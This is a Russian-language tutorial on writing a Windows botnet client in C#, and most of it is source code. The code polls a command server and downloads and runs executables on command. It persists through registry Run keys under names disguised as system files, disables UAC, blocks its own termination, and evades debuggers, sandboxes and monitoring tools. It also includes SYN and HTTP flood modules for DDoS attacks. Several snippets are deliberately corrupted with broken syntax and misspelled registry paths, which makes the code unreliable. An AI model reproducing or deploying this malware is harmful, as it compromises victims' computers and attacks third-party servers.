Создаем свой ботнет
Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).
Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.
Миф 2: Ботнет обязательно для DDOS – атак.
Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать
Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.
Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.
Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.
Пожалуй, хватит разговоров, пора к делу:
Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Понеслась….
Создаем новый консольный проект.
Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).
А вот теперь переходим в вопросы архитектуры.
Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.
Далее код, для начала создадим заглушку на командном сервере (index.php).
<?php
echo 'update';
Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код
public class FileManager : IFileManager { public string GetCommandByUrl(string url) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); HttpWebResponse response = (HttpWebResponse)request.GetResponse(); return new StreamReader(response.GetResponseStream()).ReadToEnd(); } }
А в программу добавим
private static string _url = @"URL/index.php"; (тут наша заглушка пока) private const int interval = 10000; // 1000 seconds ~ 16 minutes while (true) { Thread.Sleep(interval); var command = _fileService.GetCommandByUrl(_url); if (command.Equals("update")) { WebClient myWebClient = new WebClient(); myWebClient.DownloadFile(_url, "update.exe"); _fileService.RemoveFile(); _fileService.CopyFile("update.exe"); } }
Профит:
Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод
public void CopyFile(string fileName = "") { if (String.IsNullOrEmpty(fileName)) { fileName = Assembly.GetExecutingAssembly().Location; return; } File.Copy(fileName, @"C:\Windows\srvhost.exe"); } void CopyFile(string fileName = @"C:\Windows\srvhost.exe");
Добавляем в Program.cs
public static void Main(string[] args) { IFileManager _fileService = new FileManager(); _fileService.CopyFile(); RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");
Запретить завершение процесса;
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager
public class ProcessManager { [DllImport("advapi32.dll", SetLastError = true)] static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor, uint nLength, out uint lpnLengthNeeded); public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle) { const int DACL_SECURITY_INFORMATION = 0x00000004; byte[] psd = new byte[0]; uint bufSizeNeeded; // Call with 0 size to obtain the actual size needed in bufSizeNeeded GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded); if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue) throw new Win32Exception(); // Allocate the required bytes and obtain the DACL if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded)) throw new Win32Exception(); // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes: return new RawSecurityDescriptor(psd, 0); } [DllImport("advapi32.dll", SetLastError = true)] static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor); public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl) { const int DACL_SECURITY_INFORMATION = 0x00000004; byte[] rawsd = new byte[dacl.BinaryLength]; dacl.GetBinaryForm(rawsd, 0); if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd)) throw new Win32Exception(); } [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [Flags] public enum ProcessAccessRights { PROCESS_CREATE_PROCESS = 0x0080, // Required to create a process. PROCESS_CREATE_THREAD = 0x0002, // Required to create a thread. PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle. PROCESS_QUERY_INFORMATION = 0x0400, // Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob). PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, // Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000: This access right is not supported. PROCESS_SET_INFORMATION = 0x0200, // Required to set certain information about a process, such as its priority class (see SetPriorityClass). PROCESS_SET_QUOTA = 0x0100, // Required to set memory limits using SetProcessWorkingSetSize. PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process. PROCESS_TERMINATE = 0x0001, // Required to terminate a process using TerminateProcess. PROCESS_VM_OPERATION = 0x0008, // Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory). PROCESS_VM_READ = 0x0010, // Required to read memory in a process using ReadProcessMemory. PROCESS_VM_WRITE = 0x0020, // Required to write to memory in a process using WriteProcessMemory. DELETE = 0x00010000, // Required to delete the object. READ_CONTROL = 0x00020000, // Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right. SYNCHRONIZE = 0x00100000, // The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state. WRITE_DAC = 0x00040000, // Required to modify the DACL in the security descriptor for the object. WRITE_OWNER = 0x00080000, // Required to change the owner in the security descriptor for the object. STANDARD_RIGHTS_REQUIRED = 0x000f0000, PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),// All possible access rights for a process object. } public void block() { // Get the current process handle IntPtr hProcess = GetCurrentProcess(); // Read the DACL var dacl = GetProcessSecurityDescriptor(hProcess); // Insert the new ACE dacl.DiscretionaryAcl.InsertAce( 0, new CommonAce( AceFlags.None, AceQualifier.AccessDenied, (int)ProcessAccessRights.PROCESS_ALL_ACCESS, new SecurityIdentifier(WellKnownSidType.WorldSid, null), false, null) ); // Save the DACL SetProcessSecurityDescriptor(hProcess, dacl); } }
Теперь наш процесс сможет убить только опытный пользователь.
Профит: При нажатии на кнопку снять задачу получаем.
Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree; Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" , readWriteSubTree); key.SetValue("ConsentPromptBehaviorAdmin", 0);
Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.
Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
if (command.Equals("update")) { WebClient myWebClient = new WebClient(); myWebClient.DownloadFile(_url, "update.exe"); _fileService.RemoveFile(); _fileService.CopyFile("update.exe"); }
Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.
Сравним обфусцированный и необфусцированный билды
Видим как билд палится без проблем
Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek
Что мы сделаем сегодня?
- Сегодня мы отрефакторим наш код.
- Добавим DDOS атаку;
- Добавим шифрование (Stub);
- Добавим Executor;
- Добавим функционал посещения нужной нам страницы
- Добавим функционал удаления.
Приступим……
Так как в первой части статьи мы рассмотрели основы основ, то теперь пришло время создать готовый клиент.
Для начала взглянем на видоизмененную архитектуру проекта и теперь она выглядит так:
Как мы видим добавлены другие сервисы и разбита архитектура, впрочем, это пока картинка. Давайте же в ней разбираться.
Рассмотрим основные компоненты Ботнета – это командный сервис, Persistence, Antiresearch, DDOS, Stub, Config.
Класс конфига.
using Botnet.Services.Common; using System; using System.Diagnostics; using System.IO; using System.Text; namespace Botnet.Congif { public static class Config { private static Factory _factoryService = new Factory(); private static string SplitSymbol = ";;;;"; private static string CryptPW = "Codeby"; public static bool AntiCain = true; public static bool AntiSandboxie = true; public static bool AntiDebugger = true; public static bool AntiEmulator = true; public static bool AntiFilemon = true; public static bool AntiNetstat = true; public static bool AntiNetworkmon = true; public static bool AntiProcessmon = true; public static bool AntiRegmon = true; public static bool AntiTCPView = true; public static bool AntiVirtualBox = true; public static bool AntiVMWare = true; public static bool AntiWireshark = true; public static bool DisableUAC = true; public static string[] FileName = new string[2] { "audiohd.exe", "svhost.exe" }; public static string[] RegName = new string[2] { "Windows-Audio-Driver", "Microsoft SQL Server 2016" }; public static string[] FilePath = new string[2]; public static string ServerAddress = @"http://THISYOUURL/index.php"; public static string Mutex = _factoryService.GenString(new Random().Next(8, 20)); public static string BotVersion = "1.0"; public static int ConnectionInterval = 10; public static int PersistentInterval = 30; public static string HWID = string.Empty; public static string WinVersion = string.Empty; public static string PCName = Environment.MachineName; public static bool AdminStatus = false; public static void LoadInfos() { const int LengthByte = 460; const int ByteReplaceTo = 0x20; string stub = String.Empty; using (StreamReader reader = new StreamReader(Process.GetCurrentProcess().MainModule.FileName.ToString())) { stub = reader.ReadToEnd(); } try { stub = stub.Substring((stub.Length - LengthByte), LengthByte).Replace(Convert.ToChar(0x00), Convert.ToChar(ByteReplaceTo)).Trim(); byte[] bytesData = Convert.FromBase64String(stub); Cryptography.RC4(ref bytesData, CryptPW); string[] data = Encoding.Default.GetString(bytesData).Split(new string[] { SplitSymbol }, StringSplitOptions.None); ServerAddress = data[1]; ConnectionInterval = int.Parse(data[2].Trim()); Mutex = data[4].Trim(); } catch { Environment.Exit(0); } } } }
В основном - это набор свойств, которые мы включаем/отключаем для ботнета, в том числе URL. Включаем антиотладочные модули, включаем персистенс, устанавливаем ключ для стаба Mutex. PersistenceInterval – параметр, который включает наш бот при антиотладке и устанавливает бот в автозагрузку.
Модуль AntiReserch
На самом деле, я обошелся без сложных WinApi функций, перехвата хуков и просто закрываю собственный билд, вот как раз для этого нам и нужен интервал для персистенса.
Некоторые кодовые моменты:
С помощью
_factoryService.CheckProcess("TCPVIEW")
– ловим открытые процессы и если обнаруживаем их, то закрываем.
if (Debugger.IsAttached) { Terminate(); return; }
– смотрим, не под отладчиком ли наша программа.
sModul.Contains("sbiedll.dll")
– находим песочницу антивируса.
А вот с помощью драйвера видео графики узнаем не под виртуалкой ли мы.
Таким образом получаем примерно следующий код:
public class AntiResearch { Factory _factoryService = new Factory(); SystemService _systemService = new SystemService(); public void StartAntiResearch() { string graphicAdapter = _systemService.GetGraphicDevice(); if (Config.AntiDebugger) { try { if (Debugger.IsAttached) { Terminate(); return; } } catch { } } if (Config.AntiSandboxie) { try { foreach (string sModul in Process.GetCurrentProcess().Modules) { if (sModul.Contains("sbiedll.dll")) { Terminate(); return; } } } catch { } } if (Config.AntiEmulator) { try { long lTicks = DateTime.Now.Ticks; Thread.Sleep(10); if ((DateTime.Now.Ticks - lTicks) < 10L) { Terminate(); return; } } catch { } } if (Config.AntiNetstat) { try { if (_factoryService.CheckProcess("NETSTAT")) { Terminate(); return; } } catch { } } if (Config.AntiFilemon) { try { if (_factoryService.CheckProcess("FILEMON")) { Terminate(); return; } } catch { } } if (Config.AntiProcessmon) { try { if (_factoryService.CheckProcess("PROCMON")) { Terminate(); return; } } catch { } } if (Config.AntiRegmon) { try { if (_factoryService.CheckProcess("REGMON")) { Terminate(); return; } } catch { } } if (Config.AntiNetworkmon) { try { if (_factoryService.CheckProcess("NETMON")) { Terminate(); return; } } catch { } } if (Config.AntiTCPView) { try { if (_factoryService.CheckProcess("TCPVIEW")) { Terminate(); return; } } catch { } } if (Config.AntiWireshark) { try { if (_factoryService.CheckProcess("WIRESHARK")) { Terminate(); return; } } catch { } } if (Config.AntiVMWare) { try { if (_systemService.GetGraphicDevice() == "VMware SVGA II") { Terminate(); return; } } catch { } } if (Config.AntiVirtualBox) { try { if (graphicAdapter == "VirtualBox Graphics Adapter") { Terminate(); return; } } catch { } } } private void Terminate() { Environment.Exit(0); } }
Напоминаю, что _systemService, _factoryService – наши собственные сервисы, реализацию которых я скрою от скрипткиди. Они очень не сложные там методы проверки на существование файла или процесса.
Поговорим о стабах.
Итак, чтобы байпассить антивирусы мы будем использовать криптографию через стабы. То есть использовать некоторый набор сигнатур с помощью которых будем шифровать билд алгоритмом RC4. Сам стаб представляет из себя отдельную DLL, которая подгружается в решение вместе ботнетом. Код стаба так же будет скрыт, но представляет из себя строку, зашифрованную в base64, и один метод который её возвращает. В строке хранятся уникальный шифр, номер бота, имя машины и сервер.
Взглянем на код персистенса
public class Persistence { Factory _factoryService = new Factory(); private Timer timer = new Timer(); private string selfPath = Process.GetCurrentProcess().MainModule.FileName; public void StartPersistent() { timer.Interval = Config.PersistentInterval * 0x3e8; timer.Elapsed -= new ElapsedEventHandler(SetPersistence); timer.Start(); } public void StopPersistent() { timer.Stop(); timer.Dispose(); } public void SetPersistence(object source, ElapsedEventArgs eArgs) { RegistryKey key; if (Config.AdminStatus) { try { key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); setAutoRunRegistry(key, 0); } catch { } try { key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true); setAutoRunRegistry(key, 1); } catch { } } else { try { key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true); setAutoRunRegistry(key, 0); } catch { } try { key = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Policies\Explorer\Run", true); setAutoRunRegistry(key, 1); } catch { } } foreach (string path in Config.FilePath) { try { if (!_factoryService.CheckFile(path)) { File.Copy(selfPath, path); File.SetAttributes(path, FileAttributes.Hidden); } } catch { } } } /// <param name="index">Индекс номер имени массива из конфига RegMon</param> private void setAutoRunRegistry(RegistryKey key, byte index) { if (!key.Equals(Config.RegName[index]) || (key.Equals(Config.RegName[index]) && !key.GetValue(Config.RegName[index]).ToString().Contains(Config.FilePath[index])) ) { key.SetValue(Config.RegName[index], ('"' + Config.FilePath[index] + '"')); } } }
Здесь особо ничего принципиально – нового, записываем в реестр наш билд и копируем его в другое место в скрытом виде.
Метод первичной установки бота
Я его уже описал выше, поэтому как это выглядит.....
private void InstallBot() { string selfPath = Process.GetCurrentProcess().MainModule.FileName; Process pProcess; if (Config.AdminStatus) { Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.System) + @"\" + Config.FileName[0]; Config.FilePath[1] = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + @"\" + Config.FileName[1]; } else { Config.FilePath[0] = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\" + Config.FileName[0]; Config.FilePath[1] = Environment.GetEnvironmentVariable("TEMP") + @"\" + Config.FileName[1]; } if (!checkInstall()) { try { foreach (string path in Config.FilePath) { if (!_factoryService.CheckFile(path)) { File.Copy(selfPath, path); } File.SetAttributes(path, FileAttributes.Hidden); } } catch { } if (Config.AdminStatus) { try { Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"')); Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"')); } catch { } } else { try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Miiicrosoft\Windows\CurrentVersion\Run", true).SetValue(Config.RegName[0], ('"' + Config.FilePath[0] + '"')); Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", true).SetValue(Config.RegName[1], ('"' + Config.FilePath[1] + '"')); } catch { } } try { yMutex.Close(); foreach (string sFile in Config.FilePath) { pProcess = new Process(); pProcess.StartInfo.FileName = sFile; pProcess.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; pProcess.Start(); } } catch { } Environment.Exit(0); } }
Взглянем еще на один блок кода.
ByPass Uac, отлично работает в Win8, суть в том, что на реестр может влиять локальный админ или с группы сервисов, практический всегда пользователь создается с этими правами.
private void DisableProcedures() { try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("Hidden", "2", RegistryValueKind.DWord); } catch { } if (Config.DisableUAC) { try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true).SetValue("EnableBalloonTips", "0", RegistryValueKind.DWord); } catch { } try { Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord); Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true).SetValue("EnableLUA", "0", RegistryValueKind.DWord); } catch { } } }
SYN – Flood атака. Идея атаки в том, что мы посылаем огромное количество SYN пакетов, а так как SYN пакет необязательно должен быть завершен мы не ждем его завершения, таким образом заполняем пул подключений достаточно быстро.
public static class SYNFlood { private static Thread[] floodingThread; public static string Host; public static ushort Port; public static int ISSockets; public static int ThreadsCount; public static void StartSYNFlood() { IPEndPoint IPEo; try { IPEo = new IPEndPoint(Dns.GetHostEntry(Host).AddressList[0], Port); } catch { IPEo = new IPEndPoint(IPAddress.Parse(Host), Port); } floodingThread = new Thread[ThreadsCount]; ThreadStart[] floodingJob = new ThreadStart[ThreadsCount]; SYNRequest[] SYNClass = new SYNRequest[ThreadsCount]; for (int i = 0; i < ThreadsCount; i++) { SYNClass[i] = new SYNRequest(IPEo, ISSockets); floodingJob[i] = new ThreadStart(SYNClass[i].Send); floodingThread[i] = new Thread(floodingJob[i]); floodingThread[i].Start(); } } public static void StopSYNFlood() { for (int i = 0; i < ThreadsCount; i++) { try { floodingThread[i].Abort(); floodingThread[i].Join(); } catch { } } } private class SYNRequest { private IPEndPoint IPEo; private Socket[] pSocket; private int iSSockets; public SYNRequest(IPEndPoint tIPEo, int tSSockets) { this.IPEo = tIPEo; this.iSSockets = tSSockets; } private void OnConnect(IAsyncResult ar) { } public void Send() { int iNum; while (true) { try { pSocket == new Socket[iSSockets]; for (iNum = 0; iNum < iSSockets; iNum++) { pSocket[iNum] = new Socket(IPEo.AddressFamily, SocketType.Stream, ProtocolType.Tcp); pSocket[iNum].Blocking = false; AsyncCallback aCallback = new AsyncCallback(OnConnect); pSocket[iNum].BeginConnect(IPEo, aCallback, pSocket[iNum]); } Thread.Sleep(100); forr (iNum = 0; iNum <<< iSSockets; iNum++) { if (pSocket[iNum].Connected) { pSocket[iNum].Disconnect(false); } pSocket[iNum].Close(); pSocket[iNum] = null; } pSocket = null; } catch { forr (iNum = 0; iNum < iSSockets; iNum++) { try { if (pSocket[iNum].Connected) { pSocket[iNum].Disconnect(false); } pSocket[iNum].Close(); pSocket[iNum] = null; } catch { } } } } } } } }
HTTP-флуд - это наиболее распространенная flood атака. Просто шлем огромное количество пакетов на определенный скрипт, желательно использовать грамотно и пулять на самый медленный скрипт.
using System.Net; using System.Threading; namespace Botnet.DDoS { internal static class HttpFlood { private static Thread[] floodingThread; public static string Host; public static int ThreadCount; public static void StartHTTPFlood() { floodingThread = new Thread[ThreadCount]; ThreadStart[]] floodingJob = new ThreadStart[ThreadCount]; HTTPRequest[]] requestClass = new HTTPRequest[ThreadCount]; if (!Host.StartsWith("http://")) { Host = "http://" + Host; } for (int i = 0; i < ThreadCount; i++) { requestClass[i] == new HTTPRequest(Host); floodingJob[i] == new ThreadStart(requestClass[i].Send); floodingThread[i] == new Thread(floodingJob[i]); floodingThread[i].Start(); } } public static void StopHTTPFlood() { for (int i = 0; i < ThreadCount; i++) { try { floodingThread[i].Abort(); floodingThread[i].Join(); } catch { } } } private class HTTPRequest { private WebClient wHTTP = new WebClient(); public HTTPRequest(string tHost) { this.sFHost = tHost; } public void Send() { while (true) { try { wHTTP.DownloadString(sFHost); } catch { continue; } } } } } }
ICMP – FLOOD
Копирайт с википедии
(с)ICMP-сообщение (эхо-запрос) обрабатывается сетевым оборудованием третьего (и выше) уровня. В большинстве случаев это оборудование использует программные средства маршрутизации и обработки пакетов. При этом эхо-запрос требует от устройства принятия пакета, его обработки и формирования/отправки пакета с ответом на запрос. (с)
Аналогично UDP FLOOD
Ну и осталось взглянуть на командный центр
using System; using System.Diagnostics; using System.Net; using Botnet.DDoS; using Botnet.Services.Common; using Botnet.Congif; using Botnet.Services.Manager; using System.IO; namespace Botnet.Services.Command { public class CommandService : ICommandService { Factory _factoryService = new Factory(); Bot _botService = new Bot(); public void ExecuteCommand(string command) { string[] data = new string[0]; try { data = command.Split(';'); } catch { } switch (data[0]) { case "ddossyn": try { SYNFlood.Host = data[1]; SYNFlood.Port = ushort.Parse(data[2]); SYNFlood.ISSockets = int.Parse(data[3]); SYNFlood.ThreadsCount = int.Parse(data[4]); SYNFlood.StartSYNFlood(); } catch { } break; ............................................................................. case "download": try { WebClient client = new WebClient(); string tempName = _factoryService.GenString(new Random().Next(5, 12)) + ".exe"; string url = data[1]; if (!url.StartsWith("http://")) { url = "http://" + url; } client.DownloadFile(url, Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName); Process process = new Process(); process.StartInfo.FileName = Environment.GetEnvironmentVariable("TEMP") + @"\" + tempName; process.Start(); } catch { } break; case "visit": try { string sURL = data[1]; if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; } GET(sURL); } catch (Exception e) { } break; case "update": try { string sURL = data[1]; if (!sURL.StartsWith("http://")) { sURL = "http://" + sURL; } _botService.UpdateBot(sURL); } catch { } break; case "remove": if ((data[1] == Config.PCName) || (data[1].ToUpper() == "ALL")) { _botService.RemoveBot(); } break; case "stop": try { SYNFlood.StopSYNFlood(); } catch { } try { HttpFlood.StopHTTPFlood(); } catch { } try { UDPFlood.StopUDPFlood(); } catch { } try { ICMPFlood.StopICMPFlood(); } catch { } break; } } private string GET(string url) { HttpWebRequest req == (HttpWebRequest) WebRequest.Create(url); req.Method == "GET"; req.ContentType == "application/x-www-form-urlencoded"; WebResponse resp == req.GetResponse(); string Out = ""; using (Stream stream = resp.GetResponseStream()) { using (StreamReader sssr = new StreamReader(stream)) { Out = sr.ReadToEnd(); } } return Out; } } }
А вот так мы будем мониторить команду в отдельном потоке.
public void ConnectControl() { Thread recvThread == new Thread(new ThreadStart(getCCServerCommand)); recvThread.Start(); } private void getCCServerCommand() { while (true) { try { string command = GetRequest(Config.ServerAddress); if (command.Length >>> 0) { if (command !===== sOldCommand) { _commandService.ExecuteCommand(command); sOldCommand = command; } } else { _commandService.ExecuteCommand("stop"); sOldCommand = string.Empty; } } catch { } Thread.Sleep((int))))(Config.ConnectionInterval * 0x3e8)); } }
На этом техническая часть окончена. Рассмотрим практическую.
Напишем на стороне сервера скрипт на php, который будет считать количество посещений.
Для этого изменим наш скрипт на стороне клиента:
echo 'visit;http://URL/CoDEbY.php';
Теперь заглянем в файл Codeby.php
<?php
file_put_contents('res.txt', 'Было посещение');
Таким образом бот получает команду пройти по нужной ссылке. В комбинации с CSRF с помощью этой фитчки можно творить великие вещи, но не об этом…..
Разкоментим блок установки бота и посмотрим на процесс и в реестр.
Изменим конфиг следующим образом для наглядности.
public static string[] FileName = new string[2] { "bot.exe", "bot2.exe" }; public static string[] RegName = new string[2] { "THIS IS BOTNET", "THIS IS BOTNET2" };
Итак после установки бот прописывается в автозагрузку БЕЗ прав админа.
Однако в процессах никак не светится, это достигнуто техникой, описанной в моей статье DLL Injection. Сорцы инжектора находятся отдельно от бота (так же под приватом от скрипт кидисов) и выходят за рамки этой статьи.
Напоследок скан Антивируса/